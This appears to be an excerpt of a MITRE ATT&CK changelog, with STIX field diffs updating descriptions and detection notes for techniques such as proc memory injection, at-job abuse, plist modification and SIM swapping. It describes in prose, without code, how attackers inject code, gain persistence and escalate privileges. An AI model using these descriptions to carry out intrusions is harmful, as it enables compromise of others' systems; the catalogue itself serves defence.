Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)
Other techniques such as [LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.
Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)
Other techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | Process monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.1
Description: Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)
This object has been revoked by [T1053.002] At
Description for [T1053.002] At: Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.
On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)
Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).
In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 22:35:13.112000+00:00 | 2022-04-16 20:45:01.814000+00:00 |
| description | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux) An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account. | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) |
| revoked | False | True |
| external_references[1]['source_name'] | Kifarunix - Task Scheduling in Linux | rowland linux at 2019 |
| external_references[1]['description'] | Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019. | Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021. |
| external_references[1]['url'] | https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/ | https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_detection | Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. | Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.
Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)
Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'GTFObins at', 'description': 'Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.', 'url': 'https://gtfobins.github.io/gtfobins/at/'} | |
| external_references | {'source_name': 'Kifarunix - Task Scheduling in Linux', 'description': 'Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.', 'url': 'https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/'} | |
| x_mitre_data_sources | Scheduled Job: Scheduled Job Creation |
Current version: 1.1
Description: Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)
This object has been revoked by [T1647] Plist File Modification
Description for [T1647] Plist File Modification: Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).
For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application’s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 19:57:36.136000+00:00 | 2022-04-20 21:06:07.560000+00:00 |
| description | Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges).
Adversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan)
A specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to "hide" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items) | Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1) |
| revoked | False | True |
| external_references[1]['source_name'] | Sofacy Komplex Trojan | fileinfo plist file description |
| external_references[1]['description'] | Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. | FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021. |
| external_references[1]['url'] | https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ | https://fileinfo.com/extension/plist |
| external_references[2]['source_name'] | Methods of Mac Malware Persistence | wardle artofmalware volume1 |
| external_references[2]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021. |
| external_references[2]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://taomm.org/vol1/pdfs.html |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Process monitoring | Service: Service Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_detection | File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)
Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. | Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist.
Monitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.
Identify new services executed from plist modified in the previous user's session. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Adding Login Items', 'description': 'Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html'} | |
| external_references | {'source_name': 'Malware Persistence on OS X', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'url': 'https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf'} | |
| external_references | {'source_name': 'OSX.Dok Malware', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/'} |
Current version: 1.0
Description: This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.
Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process command-line parameters', 'File monitoring', 'Process monitoring'] | |
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 22:41:14.739000+00:00 | 2021-10-07 21:38:03.610000+00:00 |
| description | Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in. | This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.
Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
An adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in. |
Current version: 1.0
Description: Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication. Several permissions may be used to programmatically control phone calls, including: * `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions) * `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions) * `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions) * `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions) * `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions) * `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions) When granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.
Current version: 1.0
Description: Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken. If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.
Current version: 1.0
Description: Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.
Current version: 1.0
Description: Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot) The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.
Current version: 1.0
Description: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval. On Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager) On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)
Current version: 1.0
Description: Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. While there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | A malicious application can request Device Administrator pri | t | 1 | Adversaries may request device administrator permissions to |
| > | vileges. If the user grants the privileges, the application | > | perform malicious actions. By abusing the device administra | ||
| > | can take steps to make its removal more difficult. | > | tion API, adversaries can perform several nefarious actions, | ||
| > | such as resetting the device’s password for [Device Lockout | ||||
| > | ](https://attack.mitre.org/techniques/T1446), factory resett | ||||
| > | ing the device to [Delete Device Data](https://attack.mitre. | ||||
| > | org/techniques/T1447) and any traces of the malware, disabli | ||||
| > | ng all of the device’s cameras, or make it more difficult to | ||||
| > | uninstall the app.(Citation: Android DeviceAdminInfo) Devi | ||||
| > | ce administrators must be approved by the user at runtime, w | ||||
| > | ith a system popup showing which of the actions have been re | ||||
| > | quested by the app. In conjunction with other techniques, su | ||||
| > | ch as [Input Injection](https://attack.mitre.org/techniques/ | ||||
| > | T1516), an app can programmatically grant itself administrat | ||||
| > | or permissions without any user input. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-02-03 16:56:41.200000+00:00 | 2020-11-24 13:40:08.343000+00:00 |
| name | Abuse Device Administrator Access to Prevent Removal | Device Administrator Permissions |
| description | A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult. | Adversaries may request device administrator permissions to perform malicious actions. By abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Device Lockout](https://attack.mitre.org/techniques/T1446), factory resetting the device to [Delete Device Data](https://attack.mitre.org/techniques/T1447) and any traces of the malware, disabling all of the device’s cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo) Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input. |
| kill_chain_phases[0]['phase_name'] | persistence | privilege-escalation |
| x_mitre_detection | The device user can view a list of apps with Device Administrator privilege in the device settings. | Users can see when an app requests device administrator permissions. Users can also view which apps have device administrator permissions in the settings menu. |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Android DeviceAdminInfo', 'description': 'Google. (n.d.). DeviceAdminInfo. Retrieved November 20, 2020.', 'url': 'https://developer.android.com/reference/android/app/admin/DeviceAdminInfo'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary could exploit signaling system vulnerabilities | t | 1 | An adversary could exploit signaling system vulnerabilities |
| > | to redirect calls or text messages (SMS) to a phone number u | > | to redirect calls or text messages (SMS) to a phone number u | ||
| > | nder the attacker's control. The adversary could then act as | > | nder the attacker's control. The adversary could then act as | ||
| > | a man-in-the-middle to intercept or manipulate the communic | > | an adversary-in-the-middle to intercept or manipulate the c | ||
| > | ation. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Cit | > | ommunication. (Citation: Engel-SS7) (Citation: Engel-SS7-200 | ||
| > | ation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CS | > | 8) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citat | ||
| > | RIC5-WG10-FinalReport) Interception of SMS messages could en | > | ion: CSRIC5-WG10-FinalReport) Interception of SMS messages c | ||
| > | able adversaries to obtain authentication codes used for mul | > | ould enable adversaries to obtain authentication codes used | ||
| > | ti-factor authentication(Citation: TheRegister-SS7). | > | for multi-factor authentication(Citation: TheRegister-SS7). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-02-03 16:28:52.821000+00:00 | 2021-07-28 18:43:50.490000+00:00 |
| description | An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7). | An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7). |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | If network traffic between the mobile device and a remote se | t | 1 | If network traffic between the mobile device and a remote se |
| > | rver is not securely protected, then an attacker positioned | > | rver is not securely protected, then an attacker positioned | ||
| > | on the network may be able to manipulate network communicati | > | on the network may be able to manipulate network communicati | ||
| > | on without being detected. For example, FireEye researchers | > | on without being detected. For example, FireEye researchers | ||
| > | found in 2014 that 68% of the top 1,000 free applications in | > | found in 2014 that 68% of the top 1,000 free applications in | ||
| > | the Google Play Store had at least one Transport Layer Secu | > | the Google Play Store had at least one Transport Layer Secu | ||
| > | rity (TLS) implementation vulnerability potentially opening | > | rity (TLS) implementation vulnerability potentially opening | ||
| > | the applications' network traffic to man-in-the-middle attac | > | the applications' network traffic to adversary-in-the-middle | ||
| > | ks (Citation: FireEye-SSL). | > | attacks (Citation: FireEye-SSL). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-07-28 18:45:08.382000+00:00 |
| description | If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL). | If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary could convince the mobile network operator (e.g | t | 1 | An adversary could convince the mobile network operator (e.g |
| > | . through social networking, forged identification, or insid | > | . through social networking, forged identification, or insid | ||
| > | er attacks performed by trusted employees) to issue a new SI | > | er attacks performed by trusted employees) to issue a new SI | ||
| > | M card and associate it with an existing phone number and ac | > | M card and associate it with an existing phone number and ac | ||
| > | count (Citation: NYGov-Simswap) (Citation: Motherboard-Simsw | > | count.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswa | ||
